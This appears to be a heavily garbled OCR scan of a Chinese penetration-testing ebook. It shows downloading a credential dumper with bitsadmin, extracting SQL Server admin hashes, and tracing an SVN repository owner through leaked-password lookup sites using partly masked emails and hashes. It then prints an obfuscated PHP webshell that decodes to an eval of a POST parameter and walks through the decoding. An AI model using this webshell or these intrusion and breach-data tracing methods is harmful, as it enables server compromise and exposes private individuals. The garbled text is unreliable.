22573-882-2500115-76151
2017/1/16, 12:18:29

2017/3/12, 9:17:35

QEMU

Standard PC (i44@FX + PIIX,. 1996)

K 6 BF RS a1E UL

2.7.4 IREUAR 5528 BLFR

RIS shell Ja 7T LB & F R0 T RGO, @it exp TR W52 RFEN
PRI B 2185 wee SREUR G SC%TY .
1R HCH S

ki bitsadmin A% wee32.exe, FAhJE, BEIEZHAT “wced2 —w” f &KW A S
T B SR B SRS “cql?1575DONGLE” 5 Wil 7 Fias

ntials Editor) - (¢) 2010-2013 Amplia Security — by Hernan Oc}

K 7 BRI S

835

wee FREUY SO R AJIE system LR, A7 I IE A e 21 2K SR A - B R R4
G, BT RGEABRBRE], ATERICISE I AT wee SR EBER I SCEEID . 5 AT Lhd g A
R GRR I THRSAT, LB & RGBR ) mssql #7047, mysql ZdfE % root K5k
PATEE.

2.5 3% 3389
1f R e, SNSRI NG, BERSFX T REG2s, K 8 Frr.

Elnternet FEES (1S)EEHR
el S b iZedoBdevebenhd > [ >

i@
== e IEREERG

€- i ¢S O m 7 local ¥ RESVRERK
#ER @ rRsn O R soRm R anes Pagn B=es

»)IEMEERS

0.0.1
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K] 8 X szt i 4% vy
3.4T7F sQL Server &A%, & 9 fin, ACINEHAT AU, FREUVE BN
y8zZ+HiAaG1RiPdfxR4+ZiRQOr9+b6zs.

B croneft UL Sarver Bussgeent
Xﬁl’) mm !i\’v !ﬂw ’ﬁEm Wit IRM @0
2 srwEnon | ) ST T

137 | master * AT b
il _rater (12)) | SWlGueryl0. __rator (1) | Silkuers9.z . trater (0
8- %
= | iZedoddevgbeubl (SQL Server 10.50. 1600
= Ca R
B 3 Rl

D4R | we|
[ Im [F2 173 | vr | nsl rrl JIFe_[TF8_[ TR0 [ TFN | TR2
l EDACACISSFOB42ED BISBACTCBEETEINC  FiR Bl NUE JIL NULL  NULL  NULL  adwin bM '+H2G IRPIOR4ZRO03ebb2s

K 9 Rl ol A Hde 1

2.8 g B Z SVN IR AL TIRE K 815 L KR

antian365.com simeon

FEXFE—AS HbRgATZ &R, 0 AT 1E Bk, E%W%FMR@%”TH%EW@
ol . RSN A8 SREUEACD, RS ER R RE, Bl EHNRR, WL
A PPN ITEARIREL

%*ﬁﬁﬂ%ﬁ%%mﬁﬁmAﬁﬁﬁﬂ ﬁﬁﬁﬁwﬁﬁﬁ,A%%Fiﬁﬁﬂﬁ
Ry, ATRLEE svn T HSR H S 3RBGE RS, MRt T PLE L code.taobao.org #E1T1E 2k
BH MW .

o5 Ay ARl i A AT IR SR BOT KN K S Ay, @il svn THRESORER
WA 58 B BIEARED

2.8.1 ATFIRAVFSIRE

(1) AT E b
W 1 Fra, fE http://code.taobao.org LTI [, 7] LATH FIH 7 42 ke 7T &,
IRPAHIAG S, XX KU, SRR AT 2 SIS SR & .
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(22K 365 M) —(FH
: http:/www.jianshu.com/c/ad835367b9e3

ZeEg S antian365-201705-28 4k 365 i 538 ik L i

-Taocode X

) code.taobao.org/u/574480143/

TaoCéde fiIEE= ch; )  mE KR5S [ BRANRNE

E—

57 S 3

T 2016-01-05

"B~ Q ]é? e}

FaRE REMRE IFER

DataBases

RRMRERS

1R Tt TR
(2) P BEIEAH
USRI ATF 7 UACKS A K, AT DAAE #9245 SR b B T 00T H A4 Bk el T A4 R R
WE2HVEAEE, W 2 Pros, i EE AR, BRI FEE R BURE R .

® code.taobao.org/|EG—G——GEEEEEEEN - (2 Base/CommonDAL.cs
TaoCeéde FIEZ Gode) I
h- ERARRAS 7B~ Q ER OAM
WEES:N

HE > SWNNUER3 / DataBases

Pz issues be=|

SVR repo http://code.taobao.org/svn/DataBases/

[‘i’r /D / /

| 2017-03-25 11:48:34 | T &

l@ 2 5ﬁﬂlﬂ?4ﬁ%ﬂﬁﬁ&&’ﬁﬁu

2.8.2 H TEHIRIEG

(D EH 4R RAE R
FI T4 L ZE A1) X3k http://cha.hx99.net/, 7EH A2 CHET “57*%***143” , 40 3 ff

TR, JRINFRELLL “57****1437 A5G T 10 2458, HAE M AHEEE, ATFRT %

{5 8. gao**007 Ml gao**1987, AR IREIN “*” HIARMBERG . HEAH: T2 W35 )

DLId I S5l — 5 16 9% SR IREL I “*” BRs = 4F 5 .

HAEW: BA 28 H HTFRE: %
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User and Email

BERAESER  SiFR0L  RIETSCFANSRFEEER |
ARaEmsS BTE kA z]E7d
57 143 5 43@qq.com 073**56f4b83cc6f4b9c3913374d0d95
57: 143 5 43@qq.com d38**ca87b03454bbdb3fSea50abaala:da0f74
57 43 5 43@qq.com 3cc**e3a9504e5¢ 5b924bela51abedce:f5e7 11
57 143 5 43@qq.com 4f6**72f1515e987d07bf33829181911
57: 143 5 43@qq.com aa1**7f46e789483b4fb9b8029ce212e:a3b3ba
57 143 5 43@qq.com b3f"b7276656e19244f05ec 4ffafd9f
57 43 gao**007
57 43 gao**1987
57 143 5 43@qq.com 74d**cbala8aece0d4cdb5b829f2adf3:594 1df
57 143 5 43@qq.com 073**56f4b83c c6f4b9c 3913374d0d95:a818bf

K 3 RIS AR A B
(2) HITEZEX AU

212300_cxhr_zhaopin_com
51cto_com_new

55 la
admin5_apphan_07073_soyun
ccidnet_lashou_com
cnnb_mop_ginbao_jiapin_qd315
qq_old_password
qq_old_password
seowhy_shooter-
tatazu_book118_cs

sorry_unknown

L 5 A —AN4E T MG http://163.donothackme.club/, FER AT i) <58 7 “57%***143” ,

SREUHME AR 9 57****143@tianya.cn F1351 gaobo****,

1
oj#ng : 163, csdn, AA. Z8. 7k7k. acfun. yahog, 12305\ ispeak, AA

HUERE : 15GB

K 4 28 CE W RS S
(3) #EM i
I PSR T B A RAEAT B, T RASRECA R A5 B -

57****143 T fEVE MTHE A 57****143@tianya.cn. 57****143@qq.com, ¥ £ §i Fl gaobo007

F1 gaobo1987 # 4L,

2.8.3 &3P B = AR Hl

1 SR A B Y BEAT B e 22, 440N “s7%%%*%1437 , 550518 “gaobo007” Al

“gaobo1987” , WK 5 s bl & sk HARRS E HE O o

264 T/ 97 T EAMMG: http://www. antian365. com
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® code.taobao.org/my/

H
=
i
G

TaoCéde M= Gde) 78

C

STUUIN: o s

HEMTF 2016-01-05

HrE R

old

CRME ¢ HEZEH

FEAICRM_Web

Sems & TEHEE it 1 !

= S

Solm ¢ E i N =

K 5 SRIGL T I H 5 2

2.8.4 KW BT R P HIE R

N REEEEL T REARGE, W 6 fin, X 132%****+952 fI Rl i7 & F,
FEW A “REEAE” M “mail BRR 7, A, EAARS AT RASREUH 7 “132%**+**952”
(1) email f5 5. “yx**92@163.com” , W 7 Fron, WAL TSR] Ak SR T4+ T18E .
TESEFRBE, v DALE R B 2 AR oy Mt AR5 S0 1) 25 3R B B ARE B email 5 5.
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A > 13N )

bjl3?52 1IN 52
[ EIME mailft % }

SEMTF 2016-11-02

FEmE | ®ienE TEER

K 6 SRICLE M E 2

class="d-g-wrapper d-p-user”>

‘div class="d-p-user—-top”>
<h2 class="d-p-project-name”><a href="/project/explore”>E R </a>&nbsp;&nbsp ; Yémbsp; &nbsp; </span><a href="/u/1323702295¢
</h2>

<div class="layout d-p-user-info”>
{div class="user—photo”><img src="http://en. gravatar. com/avatar /65d25cd00bc25d25b97eT7f1b583FF10d25=105" width="105"
{div class="user-data”>
{span class="user-name”>13237022952</span><!—— <a href="" class="sina-weibo " >{§{#</a><a href="" class="tqq” >}

<p class="user-intro”></p>

{span class="register-time”iEMTF 2016-11-02</span>

{a id="send-msg” href="javascript:;” class="p-p-project-btn message” > & IGRE</ 2>
<a href="maillto :vEEEMER163. com” class="p-p-project-btn maildmailBiZH</a>

<fdivy
</div> k

<ul class="layout d-p-user—tabs”>
v s A M il e S O SN REEEE 0N

K& 7 $KEL email Hhlib{E &

2.8.5 FHIRPIRAAL

(1) %% TortoiseSVN
TortoiseSVN J&—#ACHY B T H, HEHMuiihl N https://tortoisesvn.net/, 7] LR
SEFRERAE RBUIEFEXT NI 2R, Windows R HGHTRA N 1.9.5, IHRRAT] BLE| sourceforge
vl 55 N3 (https://sourceforge.net/projects/tortoisesvn/files/) , TortoiseSVN #4245 EL AR (i
B, IR RIEATRIT
(2) THAHKE
TERGEE ERT i — AN ST, 2T e — ot B S ARSI H A4 PR, A9 i AE AR R i — A
WA “shExx*nHuis” HXFMIUH http://code.taobao.org/svn/Sh**** nHuis, 1%+ KI| 74 f1) &
SO, A B AR S Y SR B R £ “SVUN Checkout” , W11l 8 Pk

% 66 T/ 97 W E 7ML http://www. antian365. com HARHM: H 28 H HMmTRE: 4%
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13% @)
PHEETEEE ()
BEE...

&5 FEMBIESITHE Q). ..
&8 N3] “ShanXinHuis. zip” (T)
o5 HAihE5gan s >

_HEmEea
u‘]SVH Checkout. . .

Lo 1R 38052 MRS
& A 0 TRBIEER
& BA eoEEaRRe

¥ TortoiseSVN »
EIES ’

B @
ZEH0©

ARRERIEA T @)
e @
A ()

Bt% ®)
K 8 1 checkout fir & SR HEACTY

(3) & URL J#

TEHH B Checkout H1] “URL of Repository (URL FE) 7 iy AARAS Hbdik
http://code.taobao.org/svn/Sh****nHuis, #AJ5 ¥ “OK” %446 F AR, 1 AR 2 R
RSN PR P & &, AR5 RGBT 80,
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# Checkout ) 5]

—Repository

URC Gf repository: )|
Ii http://code.tacbao.org/svn/ShENEGEs ) J EI _J

~Checkout directary—
C:\data\SHemm— _I

] rultiple; independent working copies

— Checkout Depth
|Fu||y recursive Zl

[~ Omit externals Choose items. .. |

— Revision
' HEAD revision

" Revision I Show log I
[ ok | concel Help |
7/
K] 9 % E URL &

(4) TR
UR 2517, TortoiseSVN B2 H 2 T 8 55 4% L AOIEACHS, W& 10 fos, BASTF
A B, PGS T EGERUE OK Ll & ikt (AN AR en] APIRAS

— Checkout — TortoiseS¥H L 10l x|
action | Path | Mime & |
Added C:iidatalShan¥inHuis! S| uilUTsystemiliblueditoridialogsiattachmentiimagesticons.png applic

Added C:\data\Shan¥inHuis!S| uitUTsystemilibiueditoridislogsiattachmentiimagesticons. gif applit

Added C:hdata\ShanXinHuis\S| uilUIsystemiliblueditoridialogsiattachmentifileTypelmages

Added C:idatalShankinHuis)S! uitUTsystemiliblueditoridialogs\attachment\file TypeImagesiicon_pdf.gif appli
Added C:idatalShanXinHuisiS| uilUTsystemilibiueditoridialogs\attachment\file TypeImagesiicon_mp3. gif appli
Added C:idatalShankinHuis\S| uitUT\systemiliblueditor\dialogs\attachment\file Typelmagesiicon_txt.gif appli
Added %g:'gdata\ShanXinHuislS uilUnsystemilibiueditoridialogs\attachment\fileTypelmagesiicon_jpa.aif appli
Added :1data\ShankinHuis\S uitUTsystemiliblueditor\dialogs)attachment\file Typelmagesiicon_exe.gif appli
Added Ci\data\Shan¥inHuis! S| uilUIsystemiliblueditoridialogs\attachment\file Typelmagesiicon_myv.gif applic
Added C:\data\Shan¥inHuis!S| uilUlsystemiliblueditoridialogsiattachmentifileTypelma. . \icon_default.png  applicy
:il-lnrl b Ak A Ch s nVin A Tl A n Vi TS~k aes b R a i At islaasd kR sk s nF RlATOmaTrs s amslican aek .-.:ﬁl METJ

9,96 MBytes transferred, at 228.96 kBytes)s

Cancel I

%

10 ZRHURAISRE
(5) AAH A
FEAISCAFIE, T notepad++ THIFAURS AT EE, WA 11 Fros,  WERBRVE AT
BT DAL S A o
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WiC:\datalSL____.__S\S_____ ui\DALVAdminDAL e= ~ Hotepadit i I ] |

THE HEE BRC YBEW &Bw BsL) r%:ELT IEU b
cHHEHE 3 B &£WmD) 2|k ‘%=|L‘L~—=—\,“ E

[=] AdninDAL. esE3 I

i
==y
=
L) B
‘f‘
B}
D

|»

1 using Systen;

2 using System.Collections.Generic;
3 using System.Ling;

% using System.Text;

5 using System.Data;

6 using Systew.Dynamic;

7 using System.Data.SglClient;

8 using System.Configuration;

=] using Model:

10 using Common;

11 namespace DAL

12 { =]
13

14 public class AdwinDAL

1 {

16 public static AdwinInfo FindOneByID{int id)

17 = {

18 DataRow row = CorwonDAL.FindOneByID{id, "adwmin’):

return Single Data{row):;

}

public static int Save(AdwinInfo info)
{
SglParameter[] sp = new SglParameter[16];
sp[0] = new SqlParameter():;
26 sp[C].Direction = ParameterDirection.ReturnValue;
27 sp[0] .ParameterNawe = "[ReturnValus";

S i s o -
4 »
C# source file length : 1,990 lines : 65 In : 1 Col : 1 Sel : 0 |0 Windows (CR LF)  |[UTF-3-BOM INs /2

K 11 EEJEARS

2.8.6 52 BE

AR J5, IR AR B KRR Bde B I AE 2, X mssaL AT Mysql i1 5
Az AR, AT DB RSE RSRS8O, A0 R R Fe Vi ad mT A LRI 55 2 AL
IR, A RBENMEA AT H

2.8.7 B4

EBELRET, 5 RIS R AR BRSO R A MBEL R, IR iE B
NZRZ AL, 2R BB TIE IR M, s, o, FAH. ASGEE
MR AT E ARSI RAEEEE S, PR LW, i3RI T IR AR S IR AL AR T,
Xt H BRI RS IE R T EEREM .

2.9 Xt I % —A)1E shell KR

antian365.com simeon

FH T e 4 AR08 A e, TR AL 7 K B+ A Waf+ o BRI B 3 2 24875538 webshell
TEB ISR TP A AT R T OR R AR SEBRI H 2@ M fE v, AT RE B B AT NS B B T
1) webshell, iX12& webshell K2 $UE A7 I N AL, X AN L7 225 webshell 3E474)
B, FRIBLTF — 245 8

(1) 3 mds 155, Y webshell ) mds fE. —fRkiE webshell %% 58 5 — AN 2%
HANBBATHES, KON mds B AR [ E o

(2) XPEACRE AT A%, RIS B8, hn%s 2 a W R A S i ) & hs, ] DL SR 7 Hr
DS, R A T RIE B BRI
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(3) PSRBT, 7E webshell JEARS A ATRES B T QQ MRHE B
ARSI USCEE B — 3K webshell (—FJiEE 1) BEATACRGMEEE S or b, 2% 21 E NN 1
AAL, (EJR SRR AT AR, RIS AR SRS — L L RN AR 46 e B0 AT 1 70 A A 4

2.9.1 JEARAE

FE RS H % R IR — B JE 1100, B B HEACRD, AU rh AR —HERLAY, AR
200 W N2 — B T e AR DUR RIS, Hg BEIRACRS a0 R

<?php

SxN = SxN.substr("iyb42str_relgP804",5,6);
Slveg = str_split("muk9aw28wltcq",6);

SxN = SxN.substr("I9cdplacepArBE9dk",4,5);
Sjl = stripos("epxwkl7fe6tfkt","jl");

St = St.substr("tQGV2YWwlcVu4", 1,6);
Seia7 = trim("j812wml46reen");

Sb = Sb.substr("kbase 64kBDt9L6nM", 1,6);
Sig = trim("b39wO0gnuli");

Sy = SY.SxN("rY","","crYrerYa");

Syul = str_split("bilb87m8a0o6x",2);

St = St.SxN("xA6x",""," wxA6x0JF9");

Snd = stripos("'n65t88rxn02edj3f0","nd");
Sb = Sb.SxN("wI39",""," wli39dwI39ec");
Sh8ps = str_split("kn9j9h4mhwgf3fjip",3);
Sy = Sy.substr("hyte_funwViSVE4J",2,6);
Syf7 = strlen("uehu49g6tg5ko");

St = St.SxN("fp","","QfpTfplNfp");

Sm9 = strlen("eul604cobk");

Sb = Sb.substr("l0W1odelAleSnEJ",4,3);
ShObw = trim("n3e5h0cqtokvgob8tx");

Sy = $y.SxN("yb","","cybtio");

$s7a = rtrim("auebyc9g4t5d8k");

St = St.substr("bMsOnBh83UWyd",9,4);
$d59q = stripos("cjvuckoy5wf3otea","d59q");
Sy = Sy.substr("nD9HxQSL8NgR",9,1);

SI1 = str_split("aggq09gbgn1",4);

St = St.SxN("w604","","wcDw604Yw6040");
Spy = stripos("lgy8htrrvitc3","py");

St = $t.$xN("eP32","" "bXFeP32h");

Sxp3d = stripos("uklOnbnx9gt3","xp3d");

St = St.substr("ikJOOHJMngxc",7,5);

Sdt2b = strlen("e4a5abuajw3vicira");

St = St.substr("cdN1Kxem53NwmEh86BS",7,4);
Subj = strlen("wghjnft2op5kx1c086t");

St = St.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);
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Sgx = strlen("rlgfkkftro8gfko7ya");

St = St.substr("r7y",1,1);

Smu = rtrim("ngdxwux5vgel");

Si=sy("", $b(St));

Sbnlp = strlen("vufyOaklfyav");

Ssdh = str_split("wmnjvg3c7p0Om",4);

Smb = Itrim("n52 plpgaepeokf");

SeOpw = rtrim("uu4dmhgp5c9pnadegq");
Sugh = trim("rcpd309w99tio9");

Sgrck = strlen("x5rixSbp 1xky7");

Seobt = strlen("ddilh14ecuyuc7d");Sj();
Sdvnq = str_split("prm6gihalvro3604au",8);
Sug8 = rtrim("ec8w52supb4vu8eo");

Srct = stripos("hxe6wo7ewd8me7dt","rct");
Sekqf = str_split("prf5y08e8flffw025j8",8);
Svyr = str_split("umpjcsrfgbh5nd6045",9);
Swrf = rtrim("fyx9907938h7uggh");

$q14 = strlen("tc460sxl1stlic2");
functiono( ){ }

Susf = strlen("fltcpxb7tfbjsmt");

»>

2.9.2 JRAEE H F BB BB

XA e F AT Gert FN L E, 3 A R AR

(1) substr PREL: substr(string,start,length), R[EIFRFEHI—35, SEE BT
string WARg, MUE BR B H A — I AR
start W, FUEEFRTH MMARTTGE; IEEENE R R iR e BTG, HE00MFRF
SRR IR B BTG o [ANFEFFF R R — NPT 46
length FI 3%, FUE#OR PR KE, SARBERFREMLERE. EREZMN start 4
FAE B AL B IR 8] R R, A7 3800 AN -7 B R 0 3R [ PR o A8 FH — BAR S SRR L LR S
MERWE 1 Frs.
<?php
echo substr("Hello world",6);
echo '<br>';
echo substr("iyb42str_relgP804",5,6);
>
string 24 Hello world, start {E°4 6, length %A 1XE, AREEFREINFHFHRIILEE; M
56 M MRIUE, BTFRFERORRE, BIEHN “world”
substr("iyb42str_relgP804",5,6)% 75 M iyb42str_relgP804 F-FFH 58 5 A/ J5HUE, HX 6 747
fEN “str_re” .
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& C | ® 192.168.17.130/test.php
Rl v 2RES BEiCIR T B INZ
world

str_re

/echo substr("Hello world",6);
substr("iyb42str_relgP804",5,6);

Kl 1 ARASIE AT AR
(2) str_split(string,length), str_split() BRAEGHETZRFE B RIEH A, HSH:

string AR, MUEEFIN TR
length Ak, MmN ATTRMIKE, BRIAE 1.
Slveg = str_split("muk9aw28wltcq",6);
Er R RS 6 Aok BT, WA SAL AT RN, A print_r BIECR
FTENELZE, print_r(str_split("muk9aw28wltcq",6)); Hiz 4745 R unbd 2 Frow.
str_reArray ( [0] => muk9aw [1] => 28wltc [2] => q)

& C | ® 192.168.17.130/test.php

wor
str_reArray ( [0] => muk9aw [1] => 28wltc [2] => q)

//echo substr("Hello world",6);
substr("iyb42str_relgP804",5,6);
Slveg = str_split("muk9aw28wltcq",6);

P 2 str_split 73 #7457 55 pR 2L

(3) stripos() EREAEL T TR —FRBEHE - RHIPAE CRX 3 KRAE)

(4) trim() BREHE BR 7455 B 0 1) 2 1 A7 AR T 77 ZEAR AR A A 1
trim() BRI S R L BR AT HR T JS B0 KE o rtrim()VF Itrim ()25 B A 14 50 e 30 A% 745 R el
HIRE TR

(5) strlen() BRECR 8] 757 £f A

(6) str_replace(find,replace,string,count), str_replace() &% LA HAth 7755 & e 7 45 5 T i) —
B fF (X KR/ANED , HSHE:
find W7, MEZEELRKIE.
replace Wi, MUEEH find HHEKIME.
string 7, MUERMERKTRRH.
count A&, X EHREGHEATIHEN AL R
str_replace(find,replace, string,count) ¥t —A) 1 R ARRE /&, M string A A (find) , A)5
/] replace 47T &4, count i & B IREL

(7) function O , WHEE.

2.9.3 3KEX shell 1Y

JEEE ) T R R O 0 PR AR AT AR
Hiz oK
Sj=Sy("", Sb(St)); base64_dec(QGV2YWwolFIQT INUWydwcDYObXFhOHIMnm53NjgnXSk7)
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QGV2YWwoJ F9QTINUWydwcDYObXFhOHIM nm53NjgnXSk7 &y dbase64 %%, %5 5 Bl 155
— )5 N AR

@eval(S_POST['pp64maga2x1rnw68']);

BATEE RIB % T

<?php

SxN = $xN.substr("iyb42str_relgP804",5,6);//3~HL str_re

Slveg = str_split("muk9aw28wltcq",6); //3KHL str_reArray ( [0] => muk9aw [1] => 28wltc [2]=>q)
$xN = SxN.substr("19cdplacepArBE9dk",4,5); //3KHISxN {E A str_replace

$jl = stripos("epxwkl7f66tfkt","jI"); //ME N 0 o= X

$t = St.substr("tQGV2YWwlcVu4d",1,6); //St N QGV2YW

Seia7 = trim("j812wml46reen");//fE T & X

Sb = Sb.substr("kbase 64kBDt9L6nm",1,6); //Sb {E N base64

Sig = trim("b39wO0gnuli");//{E To & X

Sy = Sy.SxN("rY","","cr¥rerYa"); Sy = Sy.str_replace("rY","","crea"); //Sy 1E N crea

Syul = str_split("bilb87m8a006x",2); Array ( [0] => bi [1] => 1b [2] => 87 [3] =>m8 [4] => a0 [5]
=>06[6] =>x) /METLE X

St = St.SXN("XA6X",","WxA6x0JF9"); //St {EH N wolF9 QGV2Y WwolF9

$nd = stripos("n65t88rxn02ed;j3f0","nd"); //fE T X 0

Sh = $b.SxN("wI39","" " wi39dwi39ec"); //Sb { /Y base64 dec

$h8ps = str_split("kn9j9hdmhwgf3fjip",3); //E T E X

Sy = Sy.substr("hyte_funwViSVE4J",2,6); create_fun

Syf7 = strlen("uehu49g6tg5ko"); //E TG = X uehud9g6tgSko

St = St.SxN("fp","™,"QfpTfpINfp"); //St {H QTIN 21N QGV2YWwoIF9QTIN

$m9 = strlen("eul604cobk"); //E TG = X eul604cobk

Sb = Sh.substr("l0W1odelAleSnEJ",4,3); base64_decode

ShObw = trim("n3e5h0cqtokvgob8tx"); //{E T & X n3e5h0cqtokvgob8tx

Sy = Sy.SxN("yb","","cybtio"); //Sy {69 create_functio

$s7a = rtrim("auebyc9g4t5d8k"); //H T & X auebyc9g4t5d8k

St = St.substr("bMsOnBh83UWyd",9,4); //St {H UWyd Z 1IN QGV2YWwolF9QTINUWYyd
$d59q = stripos("cjvuckoy5wf3otea","d59q"); //H T = X 0

Sy = Sy.substr("nD9HxQSL8NngR",9,1); //Sy 1A create_function

$I1 = str_split("agqq09gbqgnl",4); //{ Jc 7= X 09gbgnl

St = St.SxN("w604","","wcDw604Yw6040"); //St {E A weDYO QGV2YWwoJF9QT1INUWydwcDYO
$py = stripos("Igy8htrrvitc3","py");/ME L E X 0

St = St.SxN("eP32","" ,"bXFeP32h"); //St {E A bXFh QGV2YWw o) FOQT1INUWydwcDYObXFh
$xp3d = stripos("uklOnbnx9gt3","xp3d"); //{E T & X 0

$t = St.substr("ikJOOHJMngxc",7,5); //St {9 QGV2YWwoJF9QTINUWydwcDYObXFhOHJMn
Sdt2b = strlen("e4a5abuajw3vicira"); //{E To & X eda5abuajw3vicira

St = St.substr("cdN1Kxem53NwmEh86BS",7,4); //$t {H N
QGV2YWwoJF9QT1INUWydwcDYObXFhOHJM nm53N

Subj = strlen("wghjnft2opSkx1c086t"); //{E Tt & X wghjnft2 opSkx1c086t

St = St.substr("m4aoxdujgnXSkexL4FWcYd",7,6); //St 1B AN
QGV2YWwoJF9QT1INUWydwcDYObXFhOHJM nm53N jgnXSk

Sax = strlen("rlgfkkftro8gfko7ya");//{E TG B X rlgfkkftro8gfko7ya
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St = St.substr("r7y",1,1); /St {69 QGV2YWwoIJF9QT1INUWydwcDYObXFhOHIMnm53N jgnXSk7
Smu = rtrim("ngdxwux5vael"); //{EJCE X ngdxwux5vgel

$j=Sy("", Sb($t)); //RHAEARAS:

base64_dec(QGV2Y Wwol FOQTINUWydwcDYObXFhOH JMnm53N jgnXsk7)
Sbnlp = strlen("vufyOaklfyav"); //METCE X 12

$sdh = str_split("wmnjvg3c7p0Om",4); //fETc = X vg3c7pOm

Smb = Itrim("n52plpgaepeokf"); //{E T X n52plpgaepeokf

$SeOpw = rtrim("uu4dmhgp5c9pnadegq"); //METEE X uudmhgp5c9pnadegq
Sugh = trim("rcpd309w99tio9");  //MEJCE X rcpd309w9Stio9

Sgrek = strlen("x5rix5bp 1xky7"); //ETCE X 13

$eobt = strlen("ddilhl4ecuyuc7d"); //fE & X 15
Sj();//base64_dec(QGV2YWwolJFOQT 1IN UWydwcDYObXFhOHIMnm53NjgnXSk7)(), A K%L
Sdvnq = str_split("prm6gihalvro3604au”,8); //{EH & X 1vro3604au

Sug8 = rtrim("ec8w52supb4vu8eo"); //{E TG E X ec8w52supbdvu8eo

$rct = stripos("hxe6wo7ewd8me7dt","rct"); //EH o5 X 0

Sekqf = str_split("prf5y08e8flffw025j8",8); //{E & & X

Svyr = str_split("umpjcsrfg6h5nd6045",9); //ETCE X

Swrf = rtrim("fyx9907938h7uggh"); //IETE & X

$q14 = strlen("tc460sxl1st1ic2");//ME T E X

functiono(){ }

Susf = strlen("fltcpxb7tfbjsmt"); //1E o & X

>

2.9.4 fRE R AN —A BB

R AT BN R AT I 25 RO AT W, AT DA T — e 2 2
<?php
SxN = SxN.substr("iyb42str_relgP804",5,6);
print "xN is SxN  ";
echo "<br>";
Slveg = str_split("muk9aw28wltcq",6);
print "lvcg is Slveg";
echo "<br>";
SxN = SxN.substr("[9cdplacepArBE9dk",4,5);
print "xN is SxN";
echo "<br>";
Sjl = stripos("epxwkl7fe6tfkt","jl");
print "jl is Sjl";
echo "<br>";
St = St.substr("tQGV2YWwlcVu4",1,6);
print "t is St";
echo "<br>";
Seia7 = trim("j812wml46reen");
print "eia7 is Seia7";
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echo "<br>";

Sb = Sb.substr("kbase 64kBDt9L6nM",1,6);
print "bis Sb";

echo "<br>";

Sig = trim("b39wO0gnuli");

print "ig is Sig";

echo "<br>";

Sy = Sy.SxXN("rY","","crYrerYa");

print "y is Sy";

echo "<br>";

Syul = str_split("bilb87m8a0o6x",2);
print "yulis Syul";

echo "<br>";

St = St.SxN("xA6X",""," wxA6x0JF9");
print "t is St";

echo "<br>";

Snd = stripos("n65t88rxn02ed;j3f0","nd");
print "nd is Snd";

echo "<br>";

Sb = Sb.SxN("wI39",""," _wli39dwI39ec");
print "bis Sb";

echo "<br>";

Sh8ps = str_split("kn9j9h4mhwgf3fjip",3);
print "h8ps is Sh8ps";

echo "<br>";

Sy = Sy.substr("hyte_funwViSVE4J",2,6);
print "y is Sy";

echo "<br>";

Syf7 = strlen("uehu49g6tg5ko");

print "yf7 is Syf7";

echo "<br>";

St = St.SxN("fp","","QfpTfpINfp");

print "t is St";

echo "<br>";

Sm9 = strlen("eul604cobk");

print "m9 is Sm9";

echo "<br>";

Sb = Sb.substr("l0W1odelAleSnEJ",4,3);
print "bis Sb";

echo "<br>";

ShObw = trim("n3e5h0cqtokvgob8tx");
print "hObw is ShObw";

echo "<br>";

Sy = $y.SxN("yb","", "cybtio");
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print "y is Sy";

echo "<br>";

Ss7a = rtrim("auebyc9g4t5d8k");

print "s7a is$s7a";

echo "<br>";

St = St.substr("bMsOnBh83UWyd",9,4);
print "t is St";

echo "<br>";

$d59q = stripos("cjvuckoy5wf3otea","d59q");
print "d59q is $d59q";

echo "<br>";

Sy = Sy.substr("nD9HxQSL8ngR",9,1);
print "y is Sy";

echo "<br>";

SI1 = str_split("aggq09gbgn1",4);

print "11is SI1";

echo "<br>";

St = St.SxN("w604","","wcDw604Yw6040");
print "t is St";

echo "<br>";

Spy = stripos("lgy8htrrvitc3","py");

print "py is Spy";

echo "<br>";

St = $t.SxN("eP32","" "bXFeP32h");

print "t is St";

echo "<br>";

Sxp3d = stripos("uklOnbnx9gt3","xp3d");
print "xp3d is Sxp3d";

echo "<br>";

St = St.substr("ikJOOHJMngxc",7,5);

print "t is St";

echo "<br>";

Sdt2b = strlen("e4a5abuajw3vicira");
print "dt2b is $dt2b";

echo "<br>";

St = St.substr("cdN1Kxem53NwmEh86BS",7,4);
print "t is St";

echo "<br>";

Subj = strlen("wghjnft2op5kx1c086t");
print "ubj is Subj";

echo "<br>";

St = St.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);
print "t is St";

echo "<br>";
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Sgx = strlen("rlgfkkftro8gfko7ya");

print "gx is Sgx ";

echo "<br>";

St = St.substr("r7y",1,1);

print "t is St";

echo "<br>";

Smu = rtrim(" ngdxwux5vgel");
print"mu is Smu";

echo "<br>";

Sj=sy("", $b(St));

print "jis $j";

echo "<br>";

Sbnlp = strlen("vufyOaklfyav");

print "bnlp is Sbnlp";

echo "<br>";

Ssdh = str_split("wmnjvg3c7pOm",4);
print "sdh is $sdh";

echo "<br>";

Smb = Itrim("n52 p1pgaepeokf");

print "mb is Smb";

echo "<br>";

$SeOpw = rtrim("uu4mhgp5c9pnadegq");
print "eOpw is SeOpw";

echo "<br>";

Sugh = trim("rcpd309w99tio9");

print "ugh is Sugh";

echo "<br>";

Sgrek = strlen("x5rix5bp 1xky7");

print "grck is Sgrek";

echo "<br>";

Seo6t = strlen("ddilh14ecuyuc7d");Sj();
print "eo6t is Seobt";

echo "<br>";

Sdvnq = str_split("prmégihalvro3604au",8);
print "dvng is Sdvng";

echo "<br>";

Sug8 = rtrim("ec8w52supb4vu8eo");
print "ug8 is Sug8";

echo "<br>";

Srct = stripos("hxe6wo7ewd8me7dt","rct");
print "rct is Srct";

echo "<br>";

Sekgf = str_split("prf5y08e8flffw025j8",8);
print "ekqgf is Sekgf";
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echo "<br>";

Svyr = str_split("umpjcsrfg6h5nd6045",9);
print "vyr is Svyr";

echo "<br>";

Sswrf = rtrim("fyx9907938h7uggh");
print "wrf is Swrf";

echo "<br>";

Sql4 = strlen("tc460sxl1st1ic2");
print "14 is $14";

functiono( ){ };

Susf = strlen("fltcpxb7tfbjsmt");
echo "<br>";

print Susf;

>

2.9.5 X% H

http://www.w3school.com.cn/php/func_string_str_replace.asp
http://www.w3school.com.cn/php/func_string_substr.asp

2.10 B BRI P 6 . 45

simeon

2.10.1 JRBUG & & MRt

REUG G E A =Rk, H—MRiEd sau NS TR T R 5
FARPEAN NEIHATREI, e SRS 59 “http://www.somesite.com/admin” ,
T BE A admin888. manage. master 2F; B =Fh AR, 5 E MR ERGE R, KBS
AEAT R TTAE, BA R A E aiE, S5 IX Pk r DLd i 55 73 B0 7 [R) X B R 25 2 3k 1T IR
